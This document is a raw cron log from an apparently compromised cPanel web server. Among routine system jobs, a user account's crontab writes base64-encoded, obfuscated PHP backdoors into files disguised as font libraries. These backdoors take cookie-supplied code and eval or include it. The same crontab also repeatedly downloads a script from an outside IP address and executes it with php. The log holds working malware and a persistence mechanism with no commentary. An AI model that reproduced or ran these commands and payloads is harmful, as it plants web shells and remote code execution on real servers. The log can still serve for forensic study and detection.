Sep 21 05:52:01 ip-184-168-122-23 CROND[29362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:52:01 ip-184-168-122-23 CROND[29363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:52:01 ip-184-168-122-23 CROND[29364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:52:01 ip-184-168-122-23 CROND[29365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:53:01 ip-184-168-122-23 CROND[29568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:53:01 ip-184-168-122-23 CROND[29569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:53:01 ip-184-168-122-23 CROND[29572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:53:01 ip-184-168-122-23 CROND[29571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:54:01 ip-184-168-122-23 CROND[29707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:54:01 ip-184-168-122-23 CROND[29709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:54:01 ip-184-168-122-23 CROND[29711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:54:01 ip-184-168-122-23 CROND[29712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:54:01 ip-184-168-122-23 CROND[29714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:55:01 ip-184-168-122-23 CROND[29937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:55:01 ip-184-168-122-23 CROND[29936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:55:01 ip-184-168-122-23 CROND[29938]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 05:55:01 ip-184-168-122-23 CROND[29940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:55:01 ip-184-168-122-23 CROND[29941]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 05:55:01 ip-184-168-122-23 CROND[29944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:56:01 ip-184-168-122-23 CROND[30135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:56:01 ip-184-168-122-23 CROND[30137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:56:01 ip-184-168-122-23 CROND[30138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:56:01 ip-184-168-122-23 CROND[30139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:56:01 ip-184-168-122-23 CROND[30140]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:57:01 ip-184-168-122-23 CROND[30439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:57:01 ip-184-168-122-23 CROND[30440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:57:01 ip-184-168-122-23 CROND[30443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:57:01 ip-184-168-122-23 CROND[30441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:58:01 ip-184-168-122-23 CROND[30720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:58:01 ip-184-168-122-23 CROND[30717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:58:01 ip-184-168-122-23 CROND[30723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:58:01 ip-184-168-122-23 CROND[30726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:58:01 ip-184-168-122-23 CROND[30725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:59:01 ip-184-168-122-23 CROND[30965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:59:01 ip-184-168-122-23 CROND[30966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:59:01 ip-184-168-122-23 CROND[30969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:59:01 ip-184-168-122-23 CROND[30970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:00:01 ip-184-168-122-23 CROND[31310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:00:01 ip-184-168-122-23 CROND[31311]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 06:00:01 ip-184-168-122-23 CROND[31323]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 21 06:00:01 ip-184-168-122-23 CROND[31324]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 06:00:01 ip-184-168-122-23 CROND[31325]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 06:00:01 ip-184-168-122-23 CROND[31327]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep 21 06:00:02 ip-184-168-122-23 CROND[31319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:00:02 ip-184-168-122-23 CROND[31320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:00:02 ip-184-168-122-23 CROND[31322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:00:02 ip-184-168-122-23 CROND[31321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:01:02 ip-184-168-122-23 CROND[31654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:01:02 ip-184-168-122-23 CROND[31655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:01:02 ip-184-168-122-23 CROND[31656]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 06:01:02 ip-184-168-122-23 CROND[31657]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 06:01:02 ip-184-168-122-23 CROND[31659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:01:02 ip-184-168-122-23 CROND[31658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31656]: starting 0anacron
Sep 21 06:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31676]: finished 0anacron
Sep 21 06:02:01 ip-184-168-122-23 CROND[31865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:02:01 ip-184-168-122-23 CROND[31867]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:02:01 ip-184-168-122-23 CROND[31869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:02:01 ip-184-168-122-23 CROND[31868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:02:01 ip-184-168-122-23 CROND[31870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:03:01 ip-184-168-122-23 CROND[32108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:03:01 ip-184-168-122-23 CROND[32107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:03:01 ip-184-168-122-23 CROND[32112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:03:01 ip-184-168-122-23 CROND[32114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:04:01 ip-184-168-122-23 CROND[32261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
